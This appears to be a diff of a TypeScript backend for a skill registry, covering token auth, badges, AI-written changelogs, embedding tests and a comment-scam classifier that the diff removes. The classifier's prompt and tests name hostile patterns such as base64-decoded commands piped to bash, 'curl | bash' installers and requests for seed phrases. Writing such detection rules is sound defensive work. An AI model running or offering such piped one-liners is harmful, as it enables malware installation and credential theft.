const header = request.headers.get('authorization') ?? request.headers.get('Authorization')
const token = parseBearerToken(header)
if (!token) return null
const tokenHash = await hashToken(token);
const apiToken = (await ctx.runQuery(
internalRefs.tokens.getByHashInternal as never,
{
tokenHash,
} as never,
)) as ApiTokenDoc | null;
if (!apiToken || apiToken.revokedAt) return null;
const tokenHash = await hashToken(token)
const apiToken = await ctx.runQuery(internal.tokens.getByHashInternal, { tokenHash })
if (!apiToken || apiToken.revokedAt) return null
const user = (await ctx.runQuery(
internalRefs.tokens.getUserForTokenInternal as never,
{
tokenId: apiToken._id,
} as never,
)) as Doc<"users"> | null;
if (!user || user.deletedAt || user.deactivatedAt) return null;
const user = await ctx.runQuery(internal.tokens.getUserForTokenInternal, {
tokenId: apiToken._id,
})
if (!user || user.deletedAt || user.deactivatedAt) return null
return user._id;
return user._id
}
export async function requirePackagePublishAuth(
ctx: ActionCtx,
request: Request,
): Promise<UserPackagePublishAuthResult | PackagePublishTokenAuthResult> {
const header = request.headers.get("authorization") ?? request.headers.get("Authorization");
const token = parseBearerToken(header);
if (!token) throw new ConvexError("Unauthorized");
const tokenHash = await hashToken(token);
const publishToken = (await ctx.runQuery(
internalRefs.packagePublishTokens.getByHashInternal as never,
{
tokenHash,
} as never,
)) as PackagePublishTokenDoc | null;
if (publishToken && !publishToken.revokedAt && publishToken.expiresAt > Date.now()) {
await ctx.runMutation(
internalRefs.packagePublishTokens.touchInternal as never,
{
tokenId: publishToken._id,
} as never,
);
return { kind: "github-actions", publishToken };
}
const auth = await requireApiTokenUser(ctx, request);
return { kind: "user", user: auth.user, userId: auth.userId };
}
export function parseBearerToken(header: string | null) {
if (!header) return null;
const trimmed = header.trim();
if (!trimmed.toLowerCase().startsWith("bearer ")) return null;
const token = trimmed.slice(7).trim();
return token || null;
function parseBearerToken(header: string | null) {
if (!header) return null
const trimmed = header.trim()
if (!trimmed.toLowerCase().startsWith('bearer ')) return null
const token = trimmed.slice(7).trim()
return token || null
}
+22 -22
View File
@@ -1,50 +1,50 @@
import type { Doc, Id } from "../_generated/dataModel";
import type { QueryCtx } from "../_generated/server";
import type { Doc, Id } from '../_generated/dataModel'
import type { QueryCtx } from '../_generated/server'
type BadgeKind = Doc<"skillBadges">["kind"];
type BadgeKind = Doc<'skillBadges'>['kind']
export type SkillBadgeMap = Partial<Record<BadgeKind, { byUserId: Id<"users">; at: number }>>;
export type SkillBadgeMap = Partial<Record<BadgeKind, { byUserId: Id<'users'>; at: number }>>
export type SkillBadgeSource = { badges?: SkillBadgeMap | null };
export type SkillBadgeSource = { badges?: SkillBadgeMap | null }
type BadgeCtx = Pick<QueryCtx, "db">;
type BadgeCtx = Pick<QueryCtx, 'db'>
export function isSkillHighlighted(skill: SkillBadgeSource) {
return Boolean(skill.badges?.highlighted);
return Boolean(skill.badges?.highlighted)
}
export function isSkillOfficial(skill: SkillBadgeSource) {
return Boolean(skill.badges?.official);
return Boolean(skill.badges?.official)
}
export function isSkillDeprecated(skill: SkillBadgeSource) {
return Boolean(skill.badges?.deprecated);
return Boolean(skill.badges?.deprecated)
}
export function buildBadgeMap(records: Doc<"skillBadges">[]): SkillBadgeMap {
export function buildBadgeMap(records: Doc<'skillBadges'>[]): SkillBadgeMap {
return records.reduce<SkillBadgeMap>((acc, record) => {
acc[record.kind] = { byUserId: record.byUserId, at: record.at };
return acc;
}, {});
acc[record.kind] = { byUserId: record.byUserId, at: record.at }
return acc
}, {})
}
export async function getSkillBadgeMap(
ctx: BadgeCtx,
skillId: Id<"skills">,
skillId: Id<'skills'>,
): Promise<SkillBadgeMap> {
const records = await ctx.db
.query("skillBadges")
.withIndex("by_skill", (q) => q.eq("skillId", skillId))
.take(10);
return buildBadgeMap(records);
.query('skillBadges')
.withIndex('by_skill', (q) => q.eq('skillId', skillId))
.take(10)
return buildBadgeMap(records)
}
export async function getSkillBadgeMaps(
ctx: BadgeCtx,
skillIds: Array<Id<"skills">>,
): Promise<Map<Id<"skills">, SkillBadgeMap>> {
skillIds: Array<Id<'skills'>>,
): Promise<Map<Id<'skills'>, SkillBadgeMap>> {
const entries = await Promise.all(
skillIds.map(async (skillId) => [skillId, await getSkillBadgeMap(ctx, skillId)] as const),
);
return new Map(entries);
)
return new Map(entries)
}
+6 -10
View File
@@ -1,4 +1,4 @@
import type { Scheduler } from "convex/server";
import type { Scheduler } from 'convex/server'
export function scheduleNextBatchIfNeeded<TArgs extends { cursor?: string }>(
scheduler: Scheduler,
@@ -7,13 +7,9 @@ export function scheduleNextBatchIfNeeded<TArgs extends { cursor?: string }>(
isDone: boolean,
continueCursor: string | null,
) {
if (isDone) return;
void scheduler.runAfter(
0,
fn as never,
{
...args,
cursor: continueCursor ?? undefined,
} as never,
);
if (isDone) return
void scheduler.runAfter(0, fn as never, {
...args,
cursor: continueCursor ?? undefined,
} as never)
}
+23 -23
View File
@@ -1,34 +1,34 @@
import { describe, expect, it } from "vitest";
import { __test } from "./changelog";
import { describe, expect, it } from 'vitest'
import { __test } from './changelog'
describe("changelog utils", () => {
it("summarizes file diffs", () => {
describe('changelog utils', () => {
it('summarizes file diffs', () => {
const diff = __test.summarizeFileDiff(
[
{ path: "a.txt", sha256: "aaa" },
{ path: "b.txt", sha256: "bbb" },
{ path: 'a.txt', sha256: 'aaa' },
{ path: 'b.txt', sha256: 'bbb' },
],
[
{ path: "a.txt", sha256: "aaa" },
{ path: "b.txt", sha256: "ccc" },
{ path: "c.txt", sha256: "ddd" },
{ path: 'a.txt', sha256: 'aaa' },
{ path: 'b.txt', sha256: 'ccc' },
{ path: 'c.txt', sha256: 'ddd' },
],
);
)
expect(diff.added).toEqual(["c.txt"]);
expect(diff.removed).toEqual([]);
expect(diff.changed).toEqual(["b.txt"]);
expect(__test.formatDiffSummary(diff)).toBe("1 added, 1 changed");
});
expect(diff.added).toEqual(['c.txt'])
expect(diff.removed).toEqual([])
expect(diff.changed).toEqual(['b.txt'])
expect(__test.formatDiffSummary(diff)).toBe('1 added, 1 changed')
})
it("generates a fallback initial release note", () => {
it('generates a fallback initial release note', () => {
const text = __test.generateFallback({
slug: "demo",
version: "1.0.0",
slug: 'demo',
version: '1.0.0',
oldReadme: null,
nextReadme: "hi",
nextReadme: 'hi',
fileDiff: null,
});
expect(text).toMatch(/Initial release/i);
});
});
})
expect(text).toMatch(/Initial release/i)
})
})
+110 -110
View File
@@ -1,141 +1,141 @@
import { internal } from "../_generated/api";
import type { Doc, Id } from "../_generated/dataModel";
import type { ActionCtx } from "../_generated/server";
import { extractResponseText } from "./openaiResponse";
import { internal } from '../_generated/api'
import type { Doc, Id } from '../_generated/dataModel'
import type { ActionCtx } from '../_generated/server'
import { extractResponseText } from './openaiResponse'
const CHANGELOG_MODEL = process.env.OPENAI_CHANGELOG_MODEL ?? "gpt-4.1";
const MAX_README_CHARS = 8_000;
const MAX_PATHS_IN_PROMPT = 30;
const CHANGELOG_MODEL = process.env.OPENAI_CHANGELOG_MODEL ?? 'gpt-4.1'
const MAX_README_CHARS = 8_000
const MAX_PATHS_IN_PROMPT = 30
type FileMeta = { path: string; sha256?: string };
type FileMeta = { path: string; sha256?: string }
type FileDiffSummary = {
added: string[];
removed: string[];
changed: string[];
};
added: string[]
removed: string[]
changed: string[]
}
function clampText(value: string, maxChars: number) {
const trimmed = value.trim();
if (trimmed.length <= maxChars) return trimmed;
return `${trimmed.slice(0, maxChars).trimEnd()}\n…`;
const trimmed = value.trim()
if (trimmed.length <= maxChars) return trimmed
return `${trimmed.slice(0, maxChars).trimEnd()}\n…`
}
function summarizeFileDiff(oldFiles: FileMeta[], nextFiles: FileMeta[]): FileDiffSummary {
const oldByPath = new Map(oldFiles.map((f) => [f.path, f] as const));
const nextByPath = new Map(nextFiles.map((f) => [f.path, f] as const));
const oldByPath = new Map(oldFiles.map((f) => [f.path, f] as const))
const nextByPath = new Map(nextFiles.map((f) => [f.path, f] as const))
const added: string[] = [];
const removed: string[] = [];
const changed: string[] = [];
const added: string[] = []
const removed: string[] = []
const changed: string[] = []
for (const [path, file] of nextByPath.entries()) {
const prev = oldByPath.get(path);
const prev = oldByPath.get(path)
if (!prev) {
added.push(path);
continue;
added.push(path)
continue
}
if (file.sha256 && prev.sha256 && file.sha256 !== prev.sha256) changed.push(path);
if (file.sha256 && prev.sha256 && file.sha256 !== prev.sha256) changed.push(path)
}
for (const path of oldByPath.keys()) {
if (!nextByPath.has(path)) removed.push(path);
if (!nextByPath.has(path)) removed.push(path)
}
added.sort();
removed.sort();
changed.sort();
return { added, removed, changed };
added.sort()
removed.sort()
changed.sort()
return { added, removed, changed }
}
function formatDiffSummary(diff: FileDiffSummary) {
const parts: string[] = [];
if (diff.added.length) parts.push(`${diff.added.length} added`);
if (diff.changed.length) parts.push(`${diff.changed.length} changed`);
if (diff.removed.length) parts.push(`${diff.removed.length} removed`);
return parts.join(", ") || "no file changes detected";
const parts: string[] = []
if (diff.added.length) parts.push(`${diff.added.length} added`)
if (diff.changed.length) parts.push(`${diff.changed.length} changed`)
if (diff.removed.length) parts.push(`${diff.removed.length} removed`)
return parts.join(', ') || 'no file changes detected'
}
function pickPaths(values: string[]) {
if (values.length <= MAX_PATHS_IN_PROMPT) return values;
return values.slice(0, MAX_PATHS_IN_PROMPT);
if (values.length <= MAX_PATHS_IN_PROMPT) return values
return values.slice(0, MAX_PATHS_IN_PROMPT)
}
async function generateWithOpenAI(args: {
slug: string;
version: string;
oldReadme: string | null;
nextReadme: string;
fileDiff: FileDiffSummary | null;
slug: string
version: string
oldReadme: string | null
nextReadme: string
fileDiff: FileDiffSummary | null
}) {
const apiKey = process.env.OPENAI_API_KEY;
if (!apiKey) return null;
const apiKey = process.env.OPENAI_API_KEY
if (!apiKey) return null
const oldReadme = args.oldReadme ? clampText(args.oldReadme, MAX_README_CHARS) : "";
const nextReadme = clampText(args.nextReadme, MAX_README_CHARS);
const oldReadme = args.oldReadme ? clampText(args.oldReadme, MAX_README_CHARS) : ''
const nextReadme = clampText(args.nextReadme, MAX_README_CHARS)
const fileDiff = args.fileDiff;
const diffSummary = fileDiff ? formatDiffSummary(fileDiff) : "unknown";
const changedPaths = fileDiff ? pickPaths(fileDiff.changed) : [];
const addedPaths = fileDiff ? pickPaths(fileDiff.added) : [];
const removedPaths = fileDiff ? pickPaths(fileDiff.removed) : [];
const fileDiff = args.fileDiff
const diffSummary = fileDiff ? formatDiffSummary(fileDiff) : 'unknown'
const changedPaths = fileDiff ? pickPaths(fileDiff.changed) : []
const addedPaths = fileDiff ? pickPaths(fileDiff.added) : []
const removedPaths = fileDiff ? pickPaths(fileDiff.removed) : []
const input = [
`Skill: ${args.slug}`,
`Version: ${args.version}`,
`File changes: ${diffSummary}`,
changedPaths.length ? `Changed files (sample): ${changedPaths.join(", ")}` : null,
addedPaths.length ? `Added files (sample): ${addedPaths.join(", ")}` : null,
removedPaths.length ? `Removed files (sample): ${removedPaths.join(", ")}` : null,
changedPaths.length ? `Changed files (sample): ${changedPaths.join(', ')}` : null,
addedPaths.length ? `Added files (sample): ${addedPaths.join(', ')}` : null,
removedPaths.length ? `Removed files (sample): ${removedPaths.join(', ')}` : null,
oldReadme ? `Previous SKILL.md:\n${oldReadme}` : null,
`New SKILL.md:\n${nextReadme}`,
]
.filter(Boolean)
.join("\n\n");
.join('\n\n')
const response = await fetch("https://api.openai.com/v1/responses", {
method: "POST",
const response = await fetch('https://api.openai.com/v1/responses', {
method: 'POST',
headers: {
"Content-Type": "application/json",
'Content-Type': 'application/json',
Authorization: `Bearer ${apiKey}`,
},
body: JSON.stringify({
model: CHANGELOG_MODEL,
instructions:
"Write a concise changelog for this skill version. Audience: everyone. Output plain text. Prefer 26 bullet points. If it is a big change, include a short 1-line summary first, then bullets. Dont mention that you are AI. Dont invent details; only use the inputs.",
'Write a concise changelog for this skill version. Audience: everyone. Output plain text. Prefer 26 bullet points. If it is a big change, include a short 1-line summary first, then bullets. Dont mention that you are AI. Dont invent details; only use the inputs.',
input,
max_output_tokens: 220,
}),
});
})
if (!response.ok) return null;
const payload = (await response.json()) as unknown;
return extractResponseText(payload);
if (!response.ok) return null
const payload = (await response.json()) as unknown
return extractResponseText(payload)
}
function generateFallback(args: {
slug: string;
version: string;
oldReadme: string | null;
nextReadme: string;
fileDiff: FileDiffSummary | null;
slug: string
version: string
oldReadme: string | null
nextReadme: string
fileDiff: FileDiffSummary | null
}) {
const lines: string[] = [];
const lines: string[] = []
if (!args.oldReadme) {
lines.push(`- Initial release.`);
return lines.join("\n");
lines.push(`- Initial release.`)
return lines.join('\n')
}
const diff = args.fileDiff;
const diff = args.fileDiff
if (diff) {
const parts: string[] = [];
if (diff.added.length) parts.push(`added ${diff.added.length}`);
if (diff.changed.length) parts.push(`updated ${diff.changed.length}`);
if (diff.removed.length) parts.push(`removed ${diff.removed.length}`);
if (parts.length) lines.push(`- ${parts.join(", ")} file(s).`);
const parts: string[] = []
if (diff.added.length) parts.push(`added ${diff.added.length}`)
if (diff.changed.length) parts.push(`updated ${diff.changed.length}`)
if (diff.removed.length) parts.push(`removed ${diff.removed.length}`)
if (parts.length) lines.push(`- ${parts.join(', ')} file(s).`)
}
lines.push(`- Updated SKILL.md and bundle contents.`);
return lines.join("\n");
lines.push(`- Updated SKILL.md and bundle contents.`)
return lines.join('\n')
}
export async function generateChangelogForPublish(
@@ -145,21 +145,21 @@ export async function generateChangelogForPublish(
try {
const skill = (await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug: args.slug,
})) as Doc<"skills"> | null;
const previous: Doc<"skillVersions"> | null =
})) as Doc<'skills'> | null
const previous: Doc<'skillVersions'> | null =
skill?.latestVersionId && !skill.softDeletedAt
? ((await ctx.runQuery(internal.skills.getVersionByIdInternal, {
versionId: skill.latestVersionId,
})) as Doc<"skillVersions"> | null)
: null;
})) as Doc<'skillVersions'> | null)
: null
const oldReadmeText: string | null = previous
? await readReadmeFromVersion(ctx, previous)
: null;
: null
const oldFiles = previous
? previous.files.map((file) => ({ path: file.path, sha256: file.sha256 }))
: [];
const fileDiff = previous ? summarizeFileDiff(oldFiles, args.files) : null;
: []
const fileDiff = previous ? summarizeFileDiff(oldFiles, args.files) : null
const ai = await generateWithOpenAI({
slug: args.slug,
@@ -167,7 +167,7 @@ export async function generateChangelogForPublish(
oldReadme: oldReadmeText,
nextReadme: args.readmeText,
fileDiff,
}).catch(() => null);
}).catch(() => null)
return (
ai ??
@@ -178,42 +178,42 @@ export async function generateChangelogForPublish(
nextReadme: args.readmeText,
fileDiff,
})
);
)
} catch {
return "- Updated skill.";
return '- Updated skill.'
}
}
export async function generateChangelogPreview(
ctx: ActionCtx,
args: {
slug: string;
version: string;
readmeText: string;
filePaths?: string[];
slug: string
version: string
readmeText: string
filePaths?: string[]
},
): Promise<string> {
try {
const skill = (await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug: args.slug,
})) as Doc<"skills"> | null;
const previous: Doc<"skillVersions"> | null =
})) as Doc<'skills'> | null
const previous: Doc<'skillVersions'> | null =
skill?.latestVersionId && !skill.softDeletedAt
? ((await ctx.runQuery(internal.skills.getVersionByIdInternal, {
versionId: skill.latestVersionId,
})) as Doc<"skillVersions"> | null)
: null;
})) as Doc<'skillVersions'> | null)
: null
const oldReadmeText: string | null = previous
? await readReadmeFromVersion(ctx, previous)
: null;
: null
const fileDiff =
previous && args.filePaths
? summarizeFileDiff(
previous.files.map((file) => ({ path: file.path, sha256: file.sha256 })),
args.filePaths.map((path) => ({ path })),
)
: null;
: null
const ai = await generateWithOpenAI({
slug: args.slug,
@@ -221,7 +221,7 @@ export async function generateChangelogPreview(
oldReadme: oldReadmeText,
nextReadme: args.readmeText,
fileDiff,
}).catch(() => null);
}).catch(() => null)
return (
ai ??
@@ -232,21 +232,21 @@ export async function generateChangelogPreview(
nextReadme: args.readmeText,
fileDiff,
})
);
)
} catch {
return "- Updated skill.";
return '- Updated skill.'
}
}
async function readReadmeFromVersion(ctx: ActionCtx, version: Doc<"skillVersions">) {
async function readReadmeFromVersion(ctx: ActionCtx, version: Doc<'skillVersions'>) {
const readmeFile = version.files.find((file) => {
const lower = file.path.toLowerCase();
return lower === "skill.md" || lower === "skills.md";
});
if (!readmeFile) return null;
const blob = await ctx.storage.get(readmeFile.storageId as Id<"_storage">);
if (!blob) return null;
return blob.text();
const lower = file.path.toLowerCase()
return lower === 'skill.md' || lower === 'skills.md'
})
if (!readmeFile) return null
const blob = await ctx.storage.get(readmeFile.storageId as Id<'_storage'>)
if (!blob) return null
return blob.text()
}
export const __test = {
@@ -255,4 +255,4 @@ export const __test = {
formatDiffSummary,
summarizeFileDiff,
generateFallback,
};
}
-77
View File
@@ -1,77 +0,0 @@
/* @vitest-environment node */
import { describe, expect, it } from "vitest";
import {
assembleCommentScamEvalUserMessage,
buildCommentScamBanReason,
isCertainScam,
parseCommentScamEvalResponse,
} from "./commentScamPrompt";
describe("commentScamPrompt", () => {
it("parses valid JSON response", () => {
const parsed = parseCommentScamEvalResponse(
JSON.stringify({
verdict: "certain_scam",
confidence: "high",
explanation: "Comment instructs users to decode base64 and pipe to bash.",
evidence: ["echo + base64 -D | bash", "fake update-service domain"],
}),
);
expect(parsed).toEqual({
verdict: "certain_scam",
confidence: "high",
explanation: "Comment instructs users to decode base64 and pipe to bash.",
evidence: ["echo + base64 -D | bash", "fake update-service domain"],
});
});
it("parses markdown-fenced JSON", () => {
const parsed = parseCommentScamEvalResponse(`\`\`\`json
{"verdict":"likely_scam","confidence":"medium","explanation":"Suspicious terminal one-liner.","evidence":["curl | bash"]}
\`\`\``);
expect(parsed).toMatchObject({
verdict: "likely_scam",
confidence: "medium",
});
});
it("rejects invalid response payloads", () => {
expect(parseCommentScamEvalResponse('{"verdict":"ban"}')).toBeNull();
expect(parseCommentScamEvalResponse("not-json")).toBeNull();
});
it("builds bounded ban reason", () => {
const reason = buildCommentScamBanReason({
commentId: "comments:1",
skillId: "skills:1",
explanation: "A".repeat(700),
evidence: ["B".repeat(300), "C".repeat(300), "D".repeat(300), "E".repeat(300)],
});
expect(reason.length).toBeLessThanOrEqual(500);
expect(reason).toContain("commentId=comments:1");
expect(reason).toContain("skillId=skills:1");
});
it("marks certainty only for high-confidence certain_scam", () => {
expect(isCertainScam({ verdict: "certain_scam", confidence: "high" })).toBe(true);
expect(isCertainScam({ verdict: "certain_scam", confidence: "medium" })).toBe(false);
expect(isCertainScam({ verdict: "likely_scam", confidence: "high" })).toBe(false);
});
it("builds compact user message with context", () => {
const message = assembleCommentScamEvalUserMessage({
commentId: "comments:1",
skillId: "skills:3",
userId: "users:9",
body: " test ",
});
expect(message).toContain("Comment ID: comments:1");
expect(message).toContain("Skill ID: skills:3");
expect(message).toContain("Author User ID: users:9");
expect(message).toContain("test");
});
});
-155
View File
@@ -1,155 +0,0 @@
export type CommentScamVerdict = "not_scam" | "likely_scam" | "certain_scam";
export type CommentScamConfidence = "low" | "medium" | "high";
export type CommentScamEvalResponse = {
verdict: CommentScamVerdict;
confidence: CommentScamConfidence;
explanation: string;
evidence: string[];
};
export const COMMENT_SCAM_EVAL_MAX_OUTPUT_TOKENS = 1200;
const MAX_COMMENT_CHARS = 4000;
const MAX_EXPLANATION_CHARS = 1200;
const MAX_EVIDENCE_ITEMS = 5;
const MAX_EVIDENCE_ITEM_CHARS = 160;
const MAX_BAN_REASON_CHARS = 500;
const VALID_VERDICTS = new Set<CommentScamVerdict>(["not_scam", "likely_scam", "certain_scam"]);
const VALID_CONFIDENCES = new Set<CommentScamConfidence>(["low", "medium", "high"]);
export const COMMENT_SCAM_EVALUATOR_SYSTEM_PROMPT = `You are a trust and safety classifier for user comments on a software registry.
Goal: detect comment scams with high precision.
A "certain_scam" verdict is only allowed when the comment clearly attempts fraud, credential theft, malware delivery, or social-engineering abuse.
High-confidence scam patterns include:
- Instructing users to run suspicious shell commands (especially obfuscated/base64/piped-to-bash/curl installer tricks).
- Fake support/update instructions pointing to unknown domains, executables, or terminal one-liners.
- Requests for private keys, seed phrases, passwords, API keys, session tokens, or wallet recovery data.
- Impersonation or urgent pressure language to bypass trust checks.
- Known scam payload structure (e.g. echo+base64+decode+bash, hidden downloader chains).
Important anti-false-positive rules:
- Do NOT mark legitimate troubleshooting or normal install instructions as "certain_scam" unless the malicious intent is explicit.
- If suspicious but ambiguous, use "likely_scam".
- If benign/unclear, use "not_scam".
Output JSON only:
{
"verdict": "not_scam" | "likely_scam" | "certain_scam",
"confidence": "low" | "medium" | "high",
"explanation": "short plain-language rationale",
"evidence": ["short concrete signal", "..."]
}`;
export function getCommentScamEvalModel(): string {
return process.env.OPENAI_COMMENT_EVAL_MODEL ?? process.env.OPENAI_EVAL_MODEL ?? "gpt-5-mini";
}
export function assembleCommentScamEvalUserMessage(args: {
commentId: string;
skillId: string;
userId: string;
body: string;
}): string {
const trimmed = args.body.trim();
const body =
trimmed.length > MAX_COMMENT_CHARS
? `${trimmed.slice(0, MAX_COMMENT_CHARS)}\n…[truncated]`
: trimmed;
return [
`Comment ID: ${args.commentId}`,
`Skill ID: ${args.skillId}`,
`Author User ID: ${args.userId}`,
"Comment body:",
"```",
body,
"```",
"Respond with a single JSON object.",
].join("\n");
}
function stripCodeFence(raw: string): string {
const text = raw.trim();
if (!text.startsWith("```")) return text;
const firstNewline = text.indexOf("\n");
if (firstNewline === -1) return text;
const withoutOpening = text.slice(firstNewline + 1);
const lastFence = withoutOpening.lastIndexOf("```");
if (lastFence === -1) return withoutOpening.trim();
return withoutOpening.slice(0, lastFence).trim();
}
function truncate(value: string, max: number): string {
if (value.length <= max) return value;
if (max <= 3) return value.slice(0, max);
return `${value.slice(0, max - 3)}...`;
}
export function parseCommentScamEvalResponse(raw: string): CommentScamEvalResponse | null {
let parsed: unknown;
try {
parsed = JSON.parse(stripCodeFence(raw));
} catch {
return null;
}
if (!parsed || typeof parsed !== "object") return null;
const obj = parsed as Record<string, unknown>;
const verdict =
typeof obj.verdict === "string" ? (obj.verdict.toLowerCase() as CommentScamVerdict) : null;
if (!verdict || !VALID_VERDICTS.has(verdict)) return null;
const confidence =
typeof obj.confidence === "string"
? (obj.confidence.toLowerCase() as CommentScamConfidence)
: null;
if (!confidence || !VALID_CONFIDENCES.has(confidence)) return null;
const rawExplanation = typeof obj.explanation === "string" ? obj.explanation.trim() : "";
if (!rawExplanation) return null;
const rawEvidence = Array.isArray(obj.evidence) ? obj.evidence : [];
const evidence = rawEvidence
.map((item) => (typeof item === "string" ? item.trim() : ""))
.filter(Boolean)
.slice(0, MAX_EVIDENCE_ITEMS)
.map((item) => truncate(item, MAX_EVIDENCE_ITEM_CHARS));
return {
verdict,
confidence,
explanation: truncate(rawExplanation, MAX_EXPLANATION_CHARS),
evidence,
};
}
export function isCertainScam(result: {
verdict: CommentScamVerdict;
confidence: CommentScamConfidence;
}): boolean {
return result.verdict === "certain_scam" && result.confidence === "high";
}
export function buildCommentScamBanReason(args: {
commentId: string;
skillId: string;
explanation: string;
evidence: string[];
}): string {
const explanation = args.explanation.trim();
const evidence = args.evidence
.map((item) => item.trim())
.filter(Boolean)
.slice(0, 3);
const suffix = ` commentId=${args.commentId} skillId=${args.skillId}`;
const evidenceSegment = evidence.length > 0 ? ` evidence: ${evidence.join("; ")}.` : "";
const core = `comment scam auto-ban. ${explanation}.${evidenceSegment}`;
const maxCoreChars = Math.max(0, MAX_BAN_REASON_CHARS - suffix.length);
return `${truncate(core, maxCoreChars)}${suffix}`;
}
+14 -13
View File
@@ -1,17 +1,18 @@
const EXT_TO_TYPE: Record<string, string> = {
md: "text/markdown",
mdx: "text/markdown",
json: "application/json",
json5: "application/json",
yaml: "application/yaml",
yml: "application/yaml",
toml: "application/toml",
svg: "image/svg+xml",
};
md: 'text/markdown',
mdx: 'text/markdown',
json: 'application/json',
json5: 'application/json',
yaml: 'application/yaml',
yml: 'application/yaml',
toml: 'application/toml',
svg: 'image/svg+xml',
}
export function guessContentTypeForPath(path: string) {
const trimmed = path.trim().toLowerCase();
if (!trimmed) return "application/octet-stream";
const ext = trimmed.split(".").at(-1) ?? "";
return EXT_TO_TYPE[ext] ?? "application/octet-stream";
const trimmed = path.trim().toLowerCase()
if (!trimmed) return 'application/octet-stream'
const ext = trimmed.split('.').at(-1) ?? ''
return EXT_TO_TYPE[ext] ?? 'application/octet-stream'
}
+14 -13
View File
@@ -1,16 +1,17 @@
export type EmbeddingVisibility =
| "latest"
| "latest-approved"
| "archived"
| "archived-approved"
| "deleted";
| 'latest'
| 'latest-approved'
| 'archived'
| 'archived-approved'
| 'deleted'
export function embeddingVisibilityFor(
isLatest: boolean,
isApproved: boolean,
): Exclude<EmbeddingVisibility, "deleted"> {
if (isLatest && isApproved) return "latest-approved";
if (isLatest) return "latest";
if (isApproved) return "archived-approved";
return "archived";
export function embeddingVisibilityFor(isLatest: boolean, isApproved: boolean): Exclude<
EmbeddingVisibility,
'deleted'
> {
if (isLatest && isApproved) return 'latest-approved'
if (isLatest) return 'latest'
if (isApproved) return 'archived-approved'
return 'archived'
}
+60 -60
View File
@@ -1,95 +1,95 @@
/* @vitest-environment node */
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { EMBEDDING_DIMENSIONS, generateEmbedding } from "./embeddings";
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import { EMBEDDING_DIMENSIONS, generateEmbedding } from './embeddings'
const fetchMock = vi.fn<typeof fetch>();
const consoleWarnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
const fetchMock = vi.fn<typeof fetch>()
const consoleWarnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {})
const originalFetch = globalThis.fetch;
const originalApiKey = process.env.OPENAI_API_KEY;
const originalFetch = globalThis.fetch
const originalApiKey = process.env.OPENAI_API_KEY
function jsonResponse(payload: unknown, init?: ResponseInit) {
return new Response(JSON.stringify(payload), {
status: 200,
headers: {
"content-type": "application/json",
'content-type': 'application/json',
},
...init,
});
})
}
beforeEach(() => {
fetchMock.mockReset();
globalThis.fetch = fetchMock as typeof fetch;
process.env.OPENAI_API_KEY = "test-key";
consoleWarnSpy.mockClear();
});
fetchMock.mockReset()
globalThis.fetch = fetchMock as typeof fetch
process.env.OPENAI_API_KEY = 'test-key'
consoleWarnSpy.mockClear()
})
afterEach(() => {
globalThis.fetch = originalFetch;
globalThis.fetch = originalFetch
if (originalApiKey === undefined) {
delete process.env.OPENAI_API_KEY;
delete process.env.OPENAI_API_KEY
} else {
process.env.OPENAI_API_KEY = originalApiKey;
process.env.OPENAI_API_KEY = originalApiKey
}
vi.useRealTimers();
});
vi.useRealTimers()
})
describe("generateEmbedding", () => {
it("returns zero embedding when OPENAI_API_KEY is missing", async () => {
delete process.env.OPENAI_API_KEY;
const result = await generateEmbedding("hello world");
describe('generateEmbedding', () => {
it('returns zero embedding when OPENAI_API_KEY is missing', async () => {
delete process.env.OPENAI_API_KEY
const result = await generateEmbedding('hello world')
expect(result).toHaveLength(EMBEDDING_DIMENSIONS);
expect(result.every((value) => value === 0)).toBe(true);
expect(fetchMock).not.toHaveBeenCalled();
});
expect(result).toHaveLength(EMBEDDING_DIMENSIONS)
expect(result.every((value) => value === 0)).toBe(true)
expect(fetchMock).not.toHaveBeenCalled()
})
it("retries on 429 responses and then succeeds", async () => {
vi.useFakeTimers();
fetchMock.mockResolvedValueOnce(new Response("rate limited", { status: 429 }));
fetchMock.mockResolvedValueOnce(jsonResponse({ data: [{ embedding: [0.25, 0.75] }] }));
it('retries on 429 responses and then succeeds', async () => {
vi.useFakeTimers()
fetchMock.mockResolvedValueOnce(new Response('rate limited', { status: 429 }))
fetchMock.mockResolvedValueOnce(jsonResponse({ data: [{ embedding: [0.25, 0.75] }] }))
const promise = generateEmbedding("retry me");
await vi.runAllTimersAsync();
const promise = generateEmbedding('retry me')
await vi.runAllTimersAsync()
await expect(promise).resolves.toEqual([0.25, 0.75]);
expect(fetchMock).toHaveBeenCalledTimes(2);
});
await expect(promise).resolves.toEqual([0.25, 0.75])
expect(fetchMock).toHaveBeenCalledTimes(2)
})
it("does not retry non-retryable 4xx responses", async () => {
fetchMock.mockResolvedValueOnce(new Response("bad request", { status: 400 }));
it('does not retry non-retryable 4xx responses', async () => {
fetchMock.mockResolvedValueOnce(new Response('bad request', { status: 400 }))
await expect(generateEmbedding("bad")).rejects.toThrow("Embedding failed: bad request");
expect(fetchMock).toHaveBeenCalledTimes(1);
});
await expect(generateEmbedding('bad')).rejects.toThrow('Embedding failed: bad request')
expect(fetchMock).toHaveBeenCalledTimes(1)
})
it("retries on network failures and then succeeds", async () => {
vi.useFakeTimers();
fetchMock.mockRejectedValueOnce(new TypeError("fetch failed"));
fetchMock.mockResolvedValueOnce(jsonResponse({ data: [{ embedding: [1, 2, 3] }] }));
it('retries on network failures and then succeeds', async () => {
vi.useFakeTimers()
fetchMock.mockRejectedValueOnce(new TypeError('fetch failed'))
fetchMock.mockResolvedValueOnce(jsonResponse({ data: [{ embedding: [1, 2, 3] }] }))
const promise = generateEmbedding("network retry");
await vi.runAllTimersAsync();
const promise = generateEmbedding('network retry')
await vi.runAllTimersAsync()
await expect(promise).resolves.toEqual([1, 2, 3]);
expect(fetchMock).toHaveBeenCalledTimes(2);
});
await expect(promise).resolves.toEqual([1, 2, 3])
expect(fetchMock).toHaveBeenCalledTimes(2)
})
it("retries timeouts up to max attempts and preserves timeout error", async () => {
vi.useFakeTimers();
fetchMock.mockRejectedValue(new DOMException("aborted", "AbortError"));
it('retries timeouts up to max attempts and preserves timeout error', async () => {
vi.useFakeTimers()
fetchMock.mockRejectedValue(new DOMException('aborted', 'AbortError'))
const promise = generateEmbedding("always timeout");
const promise = generateEmbedding('always timeout')
const rejection = expect(promise).rejects.toThrow(
